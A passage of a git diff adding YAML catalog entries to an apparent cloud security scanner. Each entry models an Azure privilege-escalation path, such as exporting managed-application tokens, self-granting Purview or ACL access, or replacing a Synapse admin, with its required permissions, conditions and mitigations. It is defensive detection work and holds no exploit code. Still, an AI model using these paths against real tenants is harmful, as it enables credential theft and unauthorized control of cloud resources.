scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/onlineEndpoints/deployments/write + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_ml_online_endpoint_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: deployment_init + description: The endpoint and deployment must provision and run attacker-controlled initialization code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and online endpoint creation. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-access-resources-from-endpoints-managed-identities + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-deploy-custom-container + notes: The same new endpoint must accept the UAMI and the writable deployment child; container startup is the execution route. + +- id: azure-ml-compute-create-with-user-assigned-identity + provider: azure + service: machine_learning + title: Create an Azure ML compute instance with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 2115b45a60 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/computes/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_ml_compute_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: compute_provisioning + description: The compute instance must provision and run the inline creation script with the attached identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict computes/write and userAssignedIdentities/assign/action; disable public SSH on compute instances. + references: + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-compute-instance + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-customize-compute-instance + notes: An inline creation script can execute during provisioning, so a later SSH or Jupyter access path is not required for this route. + +- id: azure-ml-compute-application-access + provider: azure + service: machine_learning + title: Open an accessible Jupyter app on an ML compute instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacesread--microsoftmachinelearningservicesworkspacescomputesapplicationaccessaction + source_revision: c4ba8da4a3 + summary: The source can use managed identities on a personal or shared compute instance whose applications it may access. + requires: + all_of: + - action: Microsoft.MachineLearningServices/workspaces/read + scope: '*' + - action: Microsoft.MachineLearningServices/workspaces/computes/applicationaccess/action + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_ml_compute_application_identity_path: true + scope: inherited_scope + aggregate_as: Identities of ML compute {target.host_resource} + conditions: + - id: instance_running + description: The instance must run before its applications can be accessed; a stopped instance needs the separate start permission. + - id: network_reachable + description: The source must reach the instance application endpoints. + blockers: [] + confidence: conditional + severity: high + mitigation: Keep compute-instance identities least-privileged; they are usable by the assigned user. + references: + - https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/2021-01-01/workspaces/computes + - https://learn.microsoft.com/en-us/azure/machine-learning/how-to-create-manage-compute-instance + notes: Personal access requires the assigned user or recorded creator. Shared application policy may allow a workspace user with the required role; either route needs a running or startable instance. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml new file mode 100644 index 0000000000..741072ba96 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_applications.yaml @@ -0,0 +1,34 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Managed Applications techniques (declarative only). +# Source: hacktricks-cloud az-managed-applications-privesc.md (rev 171e422). + +- id: azure-managedapp-list-tokens + provider: azure + service: managed_applications + title: Export access tokens of a managed application's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#listtokens--cross-tenant-managed-identity-token-export-marquee + source_revision: 171e422 + summary: The source can obtain bearer tokens for the managed application's managed identity and act with its privileges. + requires: + all_of: + - action: Microsoft.Solutions/applications/listTokens/action + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_managedapp_listtokens_path: true + scope: inherited_scope + aggregate_as: "Managed identities of managed application {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict applications/listTokens/action, review publisher authorizations on managed applications, and keep managed application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/publish-managed-identity + notes: listTokens returns a token for an arbitrary audience (ARM, Graph, Key Vault, Storage). Publisher-tenant principals holding the action through managed-app authorizations are outside the customer snapshot; customer-tenant holders (for example Contributor on the application) are modelled. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml new file mode 100644 index 0000000000..60c29bdbef --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/managed_grafana.yaml @@ -0,0 +1,37 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Managed Grafana techniques (declarative only). +# Source: hacktricks-cloud az-managed-grafana-privesc.md (rev 171e422; re-reviewed at a66f094ede). + +- id: azure-grafana-act-as-admin + provider: azure + service: managed_grafana + title: Grafana Admin through the ActAsGrafanaAdmin data action + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanaactasgrafanaadminaction + source_revision: db5b136660 + summary: The source can obtain Grafana Admin on the workspace, including use of its configured data sources. + requires: + all_of: + - action: Microsoft.Dashboard/grafana/ActAsGrafanaAdmin/action + data_action: true + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Dashboard/grafana + scope: inherited_scope + aggregate_as: "Grafana admins of {target.scope}" + conditions: + - id: datasource_identity + description: Data sources configured with the workspace managed identity let Grafana Admin query whatever that identity can read; this partial identity use is configuration-dependent. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict the Grafana Admin role assignment and keep the workspace identity read-scoped. + references: + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-manage-access-permissions-users-identities + - https://learn.microsoft.com/en-us/azure/managed-grafana/how-to-authenticate-data-plane-api + notes: The data action grants Grafana Admin on each collected Grafana workspace covered by the role assignment. The target is the workspace's application-plane administrator, not an unrelated Azure resource or its managed identity. Access to a configured data source depends on that data source's authentication and network path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml new file mode 100644 index 0000000000..7a79e5c561 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/purview.yaml @@ -0,0 +1,41 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Microsoft Purview techniques (declarative only). +# Source: hacktricks-cloud az-purview-privesc.md (rev 171e422). +# Action names checked against the Azure RBAC permissions reference (Analytics > Microsoft.Purview). + +- id: azure-purview-add-root-collection-admin + provider: azure + service: purview + title: Add a principal as Purview root collection administrator from the ARM control plane + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountsaddrootcollectionadminaction--root-collection-administrator-grant + source_revision: 79c56e647f + summary: The source can make itself (or any principal) root collection administrator of the Purview account, the top of the Purview data-plane role hierarchy. + requires: + all_of: + - action: Microsoft.Purview/accounts/addrootcollectionadmin/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + azure_resource_type: Microsoft.Purview/accounts + scope: inherited_scope + aggregate_as: "Purview root collection admin of {target.scope}" + conditions: + - id: purview_dataplane_only + description: The gain is Purview data-plane administration (collection roles, data sources, scan credentials, access policies); it does not yield a token for the Purview account's managed identity or for scan credentials stored in Key Vault. + - id: root_admin_api_authorization + description: Microsoft Purview guidance says the root-admin API requires Owner or User Access Administrator on the account, even though the action is included in broader ARM roles; a role grant alone may not suffice. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Remove addrootcollectionadmin/action from broad roles (it is included in Contributor) with a custom role or deny assignment, and review Purview root collection role membership. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/analytics#microsoftpurview + - https://learn.microsoft.com/en-us/purview/how-to-create-and-manage-collections + notes: ARM RBAC grants the action to roles including Contributor, but Microsoft Purview guidance also states an Owner or User Access Administrator requirement for the API. Until that extra check is verified on an account, show a conditional path. The resulting grant lives in the Purview role model, not Azure RBAC. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml new file mode 100644 index 0000000000..c1454ad656 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/self_permission_grants.yaml @@ -0,0 +1,93 @@ +# catalog_description: Active Azure entries require a named source principal, a concrete +# action, and a verified target principal or additional effective permission. A write +# action alone is insufficient: these self-grants require exact before/after evidence. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-purview-policy-self-grant + provider: azure + service: purview + title: Grant oneself governed SQL or Storage access through a Purview policy + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + source_revision: 90f2568978 + summary: A verified Purview Policy Author publishes a named policy element granting itself new, verified SQL read or Storage read or write access on the exact governed resource. + requires: + all_of: + - action: Microsoft.Purview/policyElements/write + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-purview-policy-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified Purview self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must verify the Purview Policy Author role, named policy element, exact account and governed source, publication, the source as grantee, prior denial, and effective new access. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict Purview policy-element writes and review policy changes that grant access to the writer. + references: + - https://learn.microsoft.com/en-us/purview/how-to-create-data-policy + notes: The reviewed Purview Policy Author fact supplies the data-action capability; an ARM role grant is not required or sufficient. The target source must be supported and policy enforcement enabled. SQL Modify is not supported. Generic Status=verified records cannot create a path. + +- id: azure-storage-adls-acl-self-grant + provider: azure + service: storage + title: Give oneself new ADLS Gen2 path access by changing its ACL + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + source_revision: 092aafb5cb + summary: A principal with modifyPermissions on an exact ADLS Gen2 path changes that path's ACL to gain a verified read, write, or execute permission it previously lacked. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-storage-adls-acl-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified ADLS Gen2 self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must identify an exact ADLS path in an HNS-enabled account, its new ACL permission for the source, prior denial, and verified access after the grant. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit ACL modification rights on protected ADLS Gen2 paths and monitor self-directed ACL changes. + references: + - https://learn.microsoft.com/en-us/azure/storage/blobs/data-lake-storage-access-control + notes: Uses azure_privesc_challenge_evidence with the typed azure_self_grants contract; a generic ACL write or blob read does not suffice. + +- id: azure-storage-files-acl-self-grant + provider: azure + service: storage + title: Give oneself new Azure Files access by changing NTFS permissions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + source_revision: 9fa167259a + summary: A principal with modifypermissions on an Azure Files share changes the ACL of an exact file or directory and gains a verified read, write, or execute permission it previously lacked. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action + scope: "{target.scope}" + data_action: true + target: + kind: azure_verified_authority + selector: + azure_challenge_fact: azure-storage-files-acl-self-grant + scope: inherited_scope + outcome: permission_grant + aggregate_as: Verified Azure Files self-grants on {target.resource} + conditions: + - id: exact_self_grant + description: A source-bound review must identify the data-plane fileshares share and exact file or directory path, its new NTFS permission for the source, prior denial, and verified access after the grant. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit NTFS permission modification rights on protected shares and monitor self-directed ACL changes. + references: + - https://learn.microsoft.com/en-us/azure/storage/files/storage-files-identity-ad-ds-configure-permissions + notes: Uses azure_privesc_challenge_evidence with the typed azure_self_grants contract. TargetId identifies the exact file or directory as the share data-plane ID plus /files/path; TargetScope and ActionResourceId are the share ID. A grant at a control-plane /shares/ path does not suffice. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml new file mode 100644 index 0000000000..87705c5219 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/service_fabric.yaml @@ -0,0 +1,55 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Service Fabric techniques (declarative only). +# Source: hacktricks-cloud az-service-fabric-privesc.md (rev 171e422). +# Action names checked against the Azure RBAC permissions reference (Compute > Microsoft.ServiceFabric); +# RBAC matching is case-insensitive (the reference spells managedclusters / nodetypes in lower case). +# Cluster nodes are VM scale sets; the cluster -> node VMSS link is not collected, so node-identity +# targets use azure_host_linked_to_pivot (unknown until collected). + +- id: azure-servicefabric-application-user-assigned-identity + provider: azure + service: service_fabric + title: Deploy a Service Fabric application bound to a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#managed-identity-token-theft-via-the-sf-token-service + source_revision: 8c54da7d5c + summary: An attacker-supplied application bound to a user-assigned identity obtains that identity's tokens from the Service Fabric token service. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + any_of: + - - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/write + scope: "*" + - action: Microsoft.ServiceFabric/managedClusters/applicationTypes/versions/write + scope: "*" + - action: Microsoft.ServiceFabric/managedClusters/applications/write + scope: "*" + - - action: Microsoft.ServiceFabric/clusters/applicationTypes/write + scope: "*" + - action: Microsoft.ServiceFabric/clusters/applicationTypes/versions/write + scope: "*" + - action: Microsoft.ServiceFabric/clusters/applications/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_servicefabric_application_uami_path: true + scope: any + aggregate_as: "User-assigned identities in writable Service Fabric applications" + conditions: + - id: cluster_managed_identity_token_service + description: Managed clusters enable the token service when an identity-enabled application is deployed; classic clusters must have the token service enabled and the application must map the identity to its service. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Service Fabric application writes; keep application identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/service-fabric/concepts-managed-identity + - https://learn.microsoft.com/en-us/azure/service-fabric/how-to-managed-identity-service-fabric-app-code + notes: The source must be able to write the application type, version, and application under one inventoried cluster and assign the exact UAMI. Application deployment and service identity mapping remain conditional. Other node code cannot use an application's identity without its per-activation secret; node scale-set identities are modeled separately. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/service_linker.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml new file mode 100644 index 0000000000..7b528560c6 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/spring_apps.yaml @@ -0,0 +1,77 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Spring Apps techniques (declarative only). +# Source: hacktricks-cloud az-spring-apps-privesc.md (rev 171e422). +# Action names checked against Microsoft's Spring Apps custom-role permission lists (how-to-permissions). +# App identities live on Microsoft.AppPlatform/Spring/apps; {target.host_resource} is that app. + +- id: azure-springapps-deployment-write-app-identity + provider: azure + service: spring_apps + title: Change a Spring Apps deployment to run attacker code as the app's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: f4dab1c063 + summary: The source can run code inside a Spring app and obtain the privileges of the managed identities attached to that app. + requires: + all_of: + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.AppPlatform/Spring/apps + azure_spring_deployment_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Spring app {target.host_resource}" + conditions: + - id: code_source + description: Code reaches the app through a new artifact (upload URL from apps/getResourceUploadUrl/action, or Enterprise buildServices upload plus builds/write), a custom container image from a reachable registry, or a JVM option / environment variable on the existing deployment that loads code already present or mountable in the container. + - id: deployment_running + description: The modified deployment must be started or restarted (deployments/write normally triggers a rollout). + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict apps/deployments/write to deployment pipelines, keep Spring app identities least-privileged, and alert on deployment changes to jvmOptions, environment variables or container images. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-enable-system-assigned-managed-identity + notes: Covers system- and user-assigned app identities. The write must authorize a deployment child of the app carrying the identity; apps/write is not required. Azure Spring Apps Basic/Standard/Enterprise are in a retirement period ending 2028. + +- id: azure-springapps-app-write-user-assigned-identity + provider: azure + service: spring_apps + title: Create or update a Spring app with a user-assigned identity and deploy code to it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#app-deploy-rce--managed-identity-theft-marquee + source_revision: f4dab1c063 + summary: The source can attach a user-assigned identity it may assign to a Spring app and run code as that identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.AppPlatform/Spring/apps/write + scope: "{pivot}" + - action: Microsoft.AppPlatform/Spring/apps/deployments/write + scope: "{pivot}" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_spring_app_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: code_source + description: Code reaches the app through an uploaded artifact, a custom container image, or deployment JVM options / environment variables. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Spring apps/write; keep user-assigned identities scoped to the workloads that need them. + references: + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-permissions + - https://learn.microsoft.com/en-us/azure/spring-apps/basic-standard/how-to-manage-user-assigned-managed-identities + notes: App and deployment permissions must authorize one app under an inventoried Spring Apps service; assignment must authorize the exact user-assigned identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml new file mode 100644 index 0000000000..2c9cea5454 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/static_web_apps.yaml @@ -0,0 +1,30 @@ +- id: azure-audit-microsoftwebstaticsiteslistsecretsaction + provider: azure + service: static_web_apps + title: Read a Static Web Apps deployment token for one site + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + source_revision: 6e9fc14c507564228fe339b8088924b8f7b939cb + summary: A principal able to list the secrets of an existing Static Web App may obtain its deployment token and replace content served by that site. + requires: + all_of: + - action: Microsoft.Web/staticSites/listSecrets/action + scope: '{target.scope}' + target: + kind: azure_verified_authority + scope: inherited_scope + aggregate_as: Deployment authority for Static Web App {target.scope} + outcome: bounded_authority + selector: + azure_static_site_deployment_token: true + conditions: + - id: token_not_retrieved + description: The modeled permission can request the site's deployment token; the scanner does not retrieve the token or attempt a deployment. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant listSecrets only to trusted site deployers and rotate a token if it was exposed. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/static-sites/list-static-site-secrets + - https://learn.microsoft.com/en-us/azure/static-web-apps/static-web-apps-cli + notes: The selector requires one inventoried static site and effective listSecrets authorization on that exact resource. A token response or deployment is not claimed. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml new file mode 100644 index 0000000000..c97222cbd7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/storage-local-v7.yaml @@ -0,0 +1,117 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-audit-microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageac + provider: azure + service: storage + title: Replace an existing Storage SFTP local user credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + summary: The source can obtain the observed container permissions of this existing + Storage local SFTP user by writing an SSH credential it controls. This service + identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: write_credential + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must perform the allowed credential operation and reach + the account SFTP endpoint. Only this local user and its observed container permission + scopes are gained; no Entra or ARM authority follows. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, + unique complete local-user inventory, and the exact existing containers named + in permissionScopes. The reset path also requires existing SSH password authentication. + Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new + local user or expanding its permissions is outside this bounded path. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + source_revision: 658a097d5c +- id: azure-audit-microsoftstoragestorageaccountslocalusersregeneratepasswordaction + provider: azure + service: storage + title: Regenerate an existing Storage SFTP local user password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + summary: The source can obtain the observed container permissions of this existing + Storage local SFTP user by regenerating its enabled SSH password. This service + identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/regeneratePassword/action + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: reset_password + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must perform the allowed credential operation and reach + the account SFTP endpoint. Only this local user and its observed container permission + scopes are gained; no Entra or ARM authority follows. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict the listed action to principals that need this service privilege. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage + notes: Existing local users only. Requires explicit enabled SFTP/local-user settings, + unique complete local-user inventory, and the exact existing containers named + in permissionScopes. The reset path also requires existing SSH password authentication. + Missing facts stay UNKNOWN; no credentials are generated or read. Creating a new + local user or expanding its permissions is outside this bounded path. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + source_revision: 658a097d5c +- id: azure-storage-local-user-create-with-sftp-access + provider: azure + service: storage + title: Create a Storage SFTP local user with container access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + source_revision: 658a097d5c + summary: The source can create an SFTP local user with its own SSH key and read permission on an existing container. The new identity has no Entra or ARM authority. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/localUsers/write + scope: '{target.scope}' + target: + kind: azure_storage_local_user + selector: + azure_storage_local_credential: create_credential + scope: inherited_scope + outcome: credentials + conditions: + - id: sftp_runtime_network_and_credential_use + description: The source must create the user with its SSH key and reach the storage account SFTP endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict localUsers/write on SFTP-enabled storage accounts to administrators who need to manage local users. + references: + - https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support-authorize-access + notes: Requires verified enabled SFTP and local-user settings, complete user inventory to choose an unused name, and at least one inventoried Blob container. The listed read permission is assignable to a new service identity; no user or credential is actually created by the analyzer. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml new file mode 100644 index 0000000000..32bb9e62ec --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/storage.yaml @@ -0,0 +1,34 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-storage-blob-content-credential + provider: azure + service: storage + title: Read Entra credentials embedded in blobs + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#read-a-verified-credential-from-a-blob + source_revision: 2cd8240244 + summary: Read a verified usable credential from a readable blob and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a verified usable service-principal credential in the exact blob content creates this edge; the source must have effective read access to that blob. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/rest/api/storageservices/get-blob + notes: Reviewed azure_privesc_challenge_evidence must identify the exact BlobResourceId, verified returned content, a usable credential, and its named Entra service principal. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml new file mode 100644 index 0000000000..fc9ca17976 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/synapse.yaml @@ -0,0 +1,39 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Synapse techniques (declarative only). +# Source: hacktricks-cloud az-synapse-privesc.md (rev 171e422). + +- id: azure-synapse-entra-admin-write + provider: azure + service: synapse + title: Replace the Synapse workspace Entra administrator + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#replace-the-workspace-microsoft-entra-administrator + source_revision: f9d46eadb8 + summary: The source can become the Microsoft Entra administrator for the Synapse workspace dedicated SQL endpoint and manage its user databases. + requires: + all_of: [] + any_of: + - - action: Microsoft.Synapse/workspaces/administrators/write + scope: "*" + - - action: Microsoft.Synapse/workspaces/sqlAdministrators/write + scope: "*" + target: + kind: azure_dataplane_admin + selector: + azure_resource_type: Microsoft.Synapse/workspaces + azure_synapse_entra_admin_path: true + scope: inherited_scope + aggregate_as: "Synapse SQL admins of {target.scope}" + conditions: + - id: sql_endpoint_reachable + description: Workspace firewall or private networking must allow the source to reach the SQL endpoint. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict administrators/write and sqlAdministrators/write and alert on Entra admin changes. + references: + - https://learn.microsoft.com/en-us/azure/synapse-analytics/security/how-to-set-up-access-control + notes: The selected principal must be controlled by the source, and the write must authorize the activeDirectory child of an inventoried Synapse workspace. Applies to the dedicated SQL endpoint; does not grant Synapse RBAC administrator or serverless SQL access. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml new file mode 100644 index 0000000000..30ba6820a0 --- /dev/null +++ 